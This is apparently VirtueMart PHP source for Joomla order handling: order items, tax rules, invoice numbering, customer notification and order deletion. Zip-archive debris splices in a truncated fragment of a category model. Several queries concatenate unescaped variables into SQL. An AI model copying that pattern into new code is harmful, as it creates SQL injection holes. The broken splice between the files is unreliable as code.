require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $productCustom = VirtueMartModelCustomfields::getProductCustomField ($selected ); //vmdebug('$_prod,$productCustom',$productCustom ); if ($productCustom->field_type == "E") { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); //We need something like this $product_attribute[$selected] = $productCustom->virtuemart_custom_id; //but seems we are forced to use this //$product_attribute[$selected] = $selected; if(!empty($_prod->param)){ foreach($_prod->param as $k => $plg){ if ($k == $selected){ //TODO productCartId $product_attribute[$selected] = $plg ; } } } } else { $product_attribute[$selected] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; //$product_attribute[$variant] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; } } $row++; } //if (isset($_prod->userfield )) $_prod->product_attribute .= '
    '.$_prod->userfield.' : '; $_orderItems->product_attribute = json_encode($product_attribute); //print_r($product_attribute); } else { $_orderItems->product_attribute = null ; } // TODO: add fields for the following data: // * [double] basePrice = 38.48 // * [double] basePriceVariant = 38.48 // * [double] basePriceWithTax = 42.04 // * [double] discountedPriceWithoutTax = 36.48 // * [double] priceBeforeTax = 36.48 // * [double] salesPrice = 39.85 // * [double] salesPriceTemp = 39.85 // * [double] taxAmount = 3.37 // * [double] salesPriceWithDiscount = 0 // * [double] discountAmount = 2.19 // * [double] priceWithoutTax = 36.48 // * [double] variantModification = 0 $_orderItems->virtuemart_order_item_id = null; $_orderItems->virtuemart_order_id = $_id; // $_orderItems->virtuemart_userinfo_id = 'TODO'; //$_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderItems->virtuemart_vendor_id = $_prod->virtuemart_vendor_id; $_orderItems->virtuemart_product_id = $_prod->virtuemart_product_id; $_orderItems->order_item_sku = $_prod->product_sku; $_orderItems->order_item_name = $_prod->product_name; //TODO Patrick $_orderItems->product_quantity = $_prod->quantity; $_orderItems->product_item_price = $_cart->pricesUnformatted[$priceKey]['basePrice']; $_orderItems->product_basePriceWithTax = $_cart->pricesUnformatted[$priceKey]['basePriceWithTax']; $_orderItems->product_priceWithoutTax = $_cart->pricesUnformatted[$priceKey]['priceWithoutTax']; $_orderItems->product_discountedPriceWithoutTax = $_cart->pricesUnformatted[$priceKey]['discountedPriceWithoutTax']; //$_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_tax_amount']; $_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['taxAmount']; $_orderItems->product_final_price = $_cart->pricesUnformatted[$priceKey]['salesPrice']; $_orderItems->product_subtotal_discount = $_cart->pricesUnformatted[$priceKey]['subtotal_discount']; $_orderItems->product_subtotal_with_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_with_tax']; // $_orderItems->order_item_currency = $_prices[$_lineCount]['']; // TODO Currency $_orderItems->order_status = 'P'; if (!$_orderItems->check()) { vmError($this->getError()); return false; } // Save the record to the database if (!$_orderItems->store()) { vmError($this->getError()); return false; } $_prod->virtuemart_order_item_id = $_orderItems->virtuemart_order_item_id; // vmdebug('_createOrderLines',$_prod); $this->handleStockAfterStatusChangedPerProduct( $_orderItems->order_status,'N',$_orderItems,$_orderItems->product_quantity); } //jExit(); return true; } /** * Create the ordered item records * * @author Valerie Isaksen * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderCalcRules($order_id, $_cart) { $productKeys = array_keys($_cart->products); $calculation_kinds = array('DBTax','Tax','VatTax','DATax'); foreach($productKeys as $key){ foreach($calculation_kinds as $calculation_kind) { if(!isset($_cart->pricesUnformatted[$key][$calculation_kind])) continue; $productRules = $_cart->pricesUnformatted[$key][$calculation_kind]; foreach($productRules as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id= null; $orderCalcRules->virtuemart_calc_id= $rule[7]; $orderCalcRules->virtuemart_order_item_id = $_cart->products[$key]->virtuemart_order_item_id; $orderCalcRules->calc_rule_name = $rule[0]; $orderCalcRules->calc_amount = 0; $orderCalcRules->calc_result = 0; if ($calculation_kind == 'VatTax') { $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$key]['taxAmount']; $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule[7]]['result']; } $orderCalcRules->calc_value = $rule[1]; $orderCalcRules->calc_mathop = $rule[2]; $orderCalcRules->calc_kind = $calculation_kind; $orderCalcRules->calc_currency = $rule[4]; $orderCalcRules->calc_params = $rule[5]; $orderCalcRules->virtuemart_vendor_id = $rule[6]; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules check product rule '.$this->getError()); vmdebug('_createOrderCalcRules check product rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store product rule '.$this->getError()); vmdebug('_createOrderCalcRules store product rule '.$this->getError()); return false; } } } } $Bill_calculation_kinds=array('DBTaxRulesBill', 'taxRulesBill', 'DATaxRulesBill'); // vmdebug('_createOrderCalcRules',$_cart ); foreach($Bill_calculation_kinds as $calculation_kind) { // if(empty($_cart->cartData)){ // vmError('Cart data was empty, why?'); // if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); // $calculator = calculationHelper::getInstance(); // $_cart->cartData = $calculator->getCartData(); // } foreach($_cart->cartData[$calculation_kind] as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id= $rule['virtuemart_calc_id']; $orderCalcRules->calc_rule_name= $rule['calc_name']; $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$rule['virtuemart_calc_id'].'Diff']; if ($calculation_kind == 'taxRulesBill' and !empty($_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result'])) { $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result']; } $orderCalcRules->calc_kind=$calculation_kind; $orderCalcRules->calc_mathop=$rule['calc_value_mathop']; $orderCalcRules->virtuemart_order_id=$order_id; $orderCalcRules->calc_params=$rule['calc_params']; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } } } if(!empty($_cart->virtuemart_paymentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['payment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'payment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['paymentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } } if(!empty($_cart->virtuemart_shipmentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['shipment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'shipment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['shipmentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } } //jExit(); return true; } /** * Update the order history * * @author Oscar van Eijk * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ public function _updateOrderHist($_id, $_status = 'P', $_notified = 0, $_comment = '') { $_orderHist = $this->getTable('order_histories'); $_orderHist->virtuemart_order_id = $_id; $_orderHist->order_status_code = $_status; //$_orderHist->date_added = date('Y-m-d G:i:s', time()); $_orderHist->customer_notified = $_notified; $_orderHist->comments = nl2br($_comment); $_orderHist->store(); } /** * Update the order item history * * @author Oscar van Eijk,kohl patrick * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ private function _updateOrderItemHist($_id, $status = 'P', $notified = 1, $comment = '') { $_orderHist = $this->getTable('order_item_histories'); $_orderHist->virtuemart_order_item_id = $_id; $_orderHist->order_status_code = $status; $_orderHist->customer_notified = $notified; $_orderHist->comments = $comment; $_orderHist->store(); } /** * Generate a unique ordernumber. This is done in a similar way as VM1.1.x, although * the reason for this is unclear to me :-S * * @author Oscar van Eijk * @param integer $uid The user ID. Defaults to 0 for guests * @return string A unique ordernumber */ static public function generateOrderNumber($uid = 0,$length=10, $virtuemart_vendor_id=1) { $db = JFactory::getDBO(); $q = 'SELECT COUNT(1) FROM #__virtuemart_orders WHERE `virtuemart_vendor_id`="'.$virtuemart_vendor_id.'"'; $db->setQuery($q); //We can use that here, because the order_number is free to set, the invoice_number must often follow special rules $count = $db->loadResult(); $count = $count + (int)VM_ORDER_OFFSET; // vmdebug('my db creating ordernumber VM_ORDER_OFFSET '.VM_ORDER_OFFSET.' $count '.$count, $this->_db); // $variable_fixed=sprintf("%06s",$num_rows); $data = substr( md5( session_id().(string)time().(string)$uid ) ,0 ,$length ).'0'.$count; return $data; } /* * returns true if an invoice number has been created * returns false if an invoice number has not been created due to some configuration parameters */ function createInvoiceNumber($orderDetails, &$invoiceNumber){ $orderDetails = (array)$orderDetails; $db = JFactory::getDBO(); if(!isset($orderDetails['virtuemart_order_id'])){ vmWarn('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); vmdebug('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); } $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$orderDetails['virtuemart_order_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $result = $db->loadAssoc(); // vmdebug('my createInvoiceNumber $q '.$q,$result); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); if(!$result or empty($result['invoice_number']) ){ $data['virtuemart_order_id'] = $orderDetails['virtuemart_order_id']; $data['order_status'] = $orderDetails['order_status']; $data['virtuemart_vendor_id'] = $orderDetails['virtuemart_vendor_id']; JPluginHelper::importPlugin('vmshopper'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); // plugin returns invoice number, 0 if it does not want an invoice number to be created by Vm $plg_datas = $dispatcher->trigger('plgVmOnUserInvoice',array($orderDetails,&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(!isset($data['invoice_number']) ) { // check the default configuration $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); //for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); // florian : added if pdf invoice are enabled if ( in_array($orderDetails['order_status'],$orderstatusForInvoice) or $pdfInvoice==1 or $force_create_invoice==1 ){ $q = 'SELECT COUNT(1) FROM `#__virtuemart_invoices` WHERE `virtuemart_vendor_id`= "'.$orderDetails['virtuemart_vendor_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $count = $db->loadResult()+1; if(empty($data['invoice_number'])) { //$variable_fixed=sprintf("%05s",$num_rows); $date = date("Y-m-d"); // $date = JFactory::getDate()->toMySQL(); $data['invoice_number'] = str_replace('-', '', substr($date,2,8)).substr(md5($orderDetails['order_number'].$orderDetails['order_status']),0,3).'0'.$count; } } else { return false; } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); $invoiceNumber= array($table->invoice_number,$table->created_on); } elseif (ShopFunctions::InvoiceNumberReserved($result['invoice_number']) ) { $invoiceNumber = array($result['invoice_number'],$result['created_on']); return true; } else { $invoiceNumber = array($result['invoice_number'],$result['created_on']); } return true; } /* * @author Valérie Isaksen */ function getInvoiceNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `invoice_number` FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$virtuemart_order_id.'" '; $db->setQuery($q); return $db->loadresult(); } /** * Notifies the customer that the Order Status has been changed * * @author RolandD, Christopher Roussel, Valérie Isaksen, Max Milbers * */ private function notifyCustomer($virtuemart_order_id, $newOrderData = 0 ) { // vmdebug('notifyCustomer', $newOrderData); if (isset($newOrderData['customer_notified']) && $newOrderData['customer_notified']==0) { return true; } if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //Important, the data of the order update mails, payments and invoice should //always be in the database, so using getOrder is the right method $orderModel=VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $payment_name = $shipment_name=''; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_shipmentmethod_id, &$shipment_name)); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_paymentmethod_id, &$payment_name)); $order['shipmentName']=$shipment_name; $order['paymentName']=$payment_name; if($newOrderData!=0){ //We do not really need that $vars['newOrderData'] = (array)$newOrderData; } $vars['orderDetails']=$order; //$vars['includeComments'] = JRequest::getVar('customer_notified', array()); //I think this is misleading, I think it should always ask for example $vars['newOrderData']['doVendor'] directly //Using this function garantue us that it is always there. If the vendor should be informed should be done by the plugins //We may add later something to the method, defining this better $vars['url'] = 'url'; if(!isset($newOrderData['doVendor'])) $vars['doVendor'] = false; else $vars['doVendor'] = $newOrderData['doVendor']; $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vars['vendor'] = $vendor; $vendorEmail = $vendorModel->getVendorEmail($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; /* $path = VmConfig::get('forSale_path',0); $orderstatusForInvoice = VmConfig::get('inv_os','C'); $pdfInvoice = VmConfig::get('pdf_invoice', 1); // backwards compatible */ // florian : added if pdf invoice are enabled //if ($this->getInvoiceNumber( $order['details']['BT']->virtuemart_order_id ) ){ $invoiceNumberDate = array(); if ($orderModel->createInvoiceNumber($order['details']['BT'], $invoiceNumberDate )) { $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); // for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); //TODO we need an array of orderstatus if ( (in_array($order['details']['BT']->order_status,$orderstatusForInvoice)) or $pdfInvoice==1 or $force_create_invoice==1 ){ if (!shopFunctions::InvoiceNumberReserved($invoiceNumberDate[0])) { if(!class_exists('VirtueMartControllerInvoice')) require( JPATH_VM_SITE.DS.'controllers'.DS.'invoice.php' ); $controller = new VirtueMartControllerInvoice( array( 'model_path' => JPATH_VM_SITE.DS.'models', 'view_path' => JPATH_VM_SITE.DS.'views' )); $vars['mediaToSend'][] = $controller->getInvoicePDF($order); } } } // Send the email $res = shopFunctionsF::renderMail('invoice', $order['details']['BT']->email, $vars, null,$vars['doVendor'],$this->useDefaultEmailOrderStatus); if(is_object($res) or !$res){ $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND'; vmdebug('notifyCustomer function shopFunctionsF::renderMail throws JException'); $res = 0; } //We need this, to prevent that a false alert is thrown. else if ($res and $res!=-1) { $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG'; } if($res!=-1){ vmInfo( JText::_($string,false).' '.$order['details']['BT']->first_name.' '.$order['details']['BT']->last_name. ', '.$order['details']['BT']->email); } return true; } /** * Retrieve the details for an order line item. * * @author RickG * @param string $orderId Order id number * @param string $orderLineId Order line item number * @return object Object containing the order item details. */ function getOrderLineDetails($orderId, $orderLineId) { $table = $this->getTable('order_items'); if ($table->load((int)$orderLineId)) { return $table; } else { $table->reset(); $table->virtuemart_order_id = $orderId; return $table; } } /** * Save an order line item. * * @author RickG * @return boolean True of remove was successful, false otherwise */ function saveOrderLineItem($data) { $table = $this->getTable('order_items'); //Done in the table already /* $curDate = JFactory::getDate(); $data['modified_on'] = $curDate->toMySql();*/ if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLineShipment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLinePayment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } $table->bindChecknStore($data); return true; // return true; } /* *remove product from order item table *@var $virtuemart_order_id Order to clear */ function removeOrderItems ($virtuemart_order_id){ $q ='DELETE from `#__virtuemart_order_items` WHERE `virtuemart_order_id` = ' .(int) $virtuemart_order_id; $this->_db->setQuery($q); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } /** * Remove an order line item. * * @author RickG * @param string $orderLineId Order line item number * @return boolean True of remove was successful, false otherwise */ function removeOrderLineItem($orderLineId) { $item = $this->getTable('order_items'); if (!$item->load($orderLineId)) { vmError($item->getError()); return false; } //TODO Why should the stock change, when the order is deleted? Paypal? Valerie? // $this->handleStockAfterStatusChangedPerProduct('C', $item->order_status,$item, $item->product_quantity); if ($item->delete($orderLineId)) { return true; } else { vmError($item->getError()); return false; } } /** * Delete all record ids selected * * @author Max Milbers * @author Patrick Kohl * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { // remove order_item and update stock $q = "SELECT `virtuemart_order_item_id` FROM `#__virtuemart_order_items` WHERE `virtuemart_order_id`=".$id; $this->_db->setQuery($q); $item_ids = $this->_db->loadResultArray(); foreach( $item_ids as $item_id ) { $this->removeOrderLineItem($item_id); } // rename invoice number by adding the date, and update the invoice table $this->renameInvoice($id ); if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } /** Update order head record * * @author Ondřej Spilka * @author Maik Künnemann * @return boolean True is the update was successful, otherwise false. */ public function UpdateOrderHead($virtuemart_order_id, $_orderData) { $orderTable = $this->getTable('orders'); $orderTable->load($virtuemart_order_id); if (!$orderTable->bindChecknStore($_orderData, true)){ vmError($orderTable->getError()); return false; } $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); $_userFieldsModel = VmModel::getModel('userfields'); //bill to $_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(isset( $_orderData["BT_{$_name}"])){ $_userInfoData[$_name] = $_orderData["BT_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='BT'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } //ship to $_userFieldsST = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); $_userInfoData = array(); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(isset( $_orderData["ST_{$_name}"])){ $_userInfoData[$_name] = $_orderData["ST_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='ST'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } $orderModel = VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $dispatcher = JDispatcher::getInstance(); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } // Update Payment Method if($_orderData['old_virtuemart_paymentmethod_id'] != $_orderData['virtuemart_paymentmethod_id']) { $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $paymentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmpayment'); } } // Update Shipment Method if($_orderData['old_virtuemart_shipmentmethod_id'] != $_orderData['virtuemart_shipmentmethod_id']) { $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $shipmentTable = '#__virtuemart_shipment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $shipmentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmshipment'); } } // JPluginHelper::importPlugin('vmshipment'); // JPluginHelper::importPlugin('vmcustom'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = $_orderData['virtuemart_paymentmethod_id']; $cart->virtuemart_shipmentmethod_id = $_orderData['virtuemart_shipmentmethod_id']; $order['order_status'] = $order['details']['BT']->order_status; $order['customer_notified'] = 0; $order['comments'] = ''; $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, $order)); return true; } /** Create empty order head record from admin only * * @author Ondřej Spilka * @return ID of the newly created order */ public function CreateOrderHead() { // TODO // multivendor //usrid $usrid = 0; $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = 0; $_orderData->virtuemart_vendor_id = 1; //TODO $_orderData->order_total = 0; $_orderData->order_salesPrice = 0; $_orderData->order_billTaxAmount = 0; $_orderData->order_billDiscountAmount = 0; $_orderData->order_discountAmount = 0; $_orderData->order_subtotal = 0; $_orderData->order_tax = 0; $_orderData->order_shipment = 0; $_orderData->order_shipment_tax = 0; $_orderData->order_payment = 0; $_orderData->order_payment_tax = 0; $_orderData->order_discount = 0; $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); $_orderData->virtuemart_paymentmethod_id = JRequest::getInt('virtuemart_paymentmethod_id'); $_orderData->virtuemart_shipmentmethod_id = JRequest::getInt('virtuemart_shipmentmethod_id'); $_orderData->customer_note = ''; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $_orderData->order_number = $this->generateOrderNumber($usrid,4,$_orderData->virtuemart_vendor_id); $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); $_usr = JFactory::getUser(); if (!$this->_writeUserInfo($_orderID, $_usr, array())) { vmError($error); } $orderModel = VmModel::getModel('orders'); $order= $orderModel->getOrder($_orderID); $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, $order)); return $_orderID; } /** Rename Invoice (when an order is deleted) * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function renameInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // may be it was already deleted when changing order items $data['invoice_number'] = $data['invoice_number'].' not found.'; } else { $date = date("Ymd"); $data['invoice_number'] = $data['invoice_number'].'_'.$date; $invoice_name_dst = $path.DS.$data['invoice_number'].'.pdf'; if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::move($invoice_name_src, $invoice_name_dst)) { vmError ('Could not rename Invoice '.$invoice_name_src.'to '. $invoice_name_dst ); } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); return true; } /** Delete Invoice when an item is updated * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function deleteInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // was already deleted by a previoous change return; } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::delete($invoice_name_src )) { vmError ('Could not delete Invoice '.$invoice_name_src ); } } } // No closing tag PKsl>\ jssQcom_virtuemart_update/administrator/components/com_virtuemart/models/category.phpnuW+AsetMainTable('categories'); $this->addvalidOrderingFieldName(self::$_validOrderingFields); $toCheck = VmConfig::get('browse_cat_orderby_field','category_name'); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $toCheck = 'category_name'; } $this->_selectedOrdering = $toCheck; $this->_selectedOrderingDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); $this->setToggleName('shared'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG, jseros, RolandD, Max Milbers */ public function getCategory($virtuemart_category_id=0,$childs=TRUE){ if(!empty($virtuemart_category_id)) $this->setId((int)$virtuemart_category_id); if (empty($this->_data)) { $this->_data = $this->getTable('categories'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('category_medias'); $this->_data->virtuemart_media_id = $xrefTable->load((int)$this->_id); if($xrefTable->getError()) vmError($xrefTable->getError()); if(empty($this->_data->category_template)){ $this->_data->category_template = VmConfig::get('categorytemplate'); } if(empty($this->_data->category_layout)){ $this->_data->category_layout = VmConfig::get('categorylayout'); } if($childs){ $this->_data->haschildren = $this->hasChildren($this->_id); /* Get children if they exist */ if ($this->_data->haschildren) $this->_data->children = $this->getCategories(true,$this->_id); else $this->_data->children = null; /* Get the product count */ $this->_data->productcount = $this->countProducts($this->_id); /* Get parent for breatcrumb */ $this->_data->parents = $this->getParentsList($this->_id); 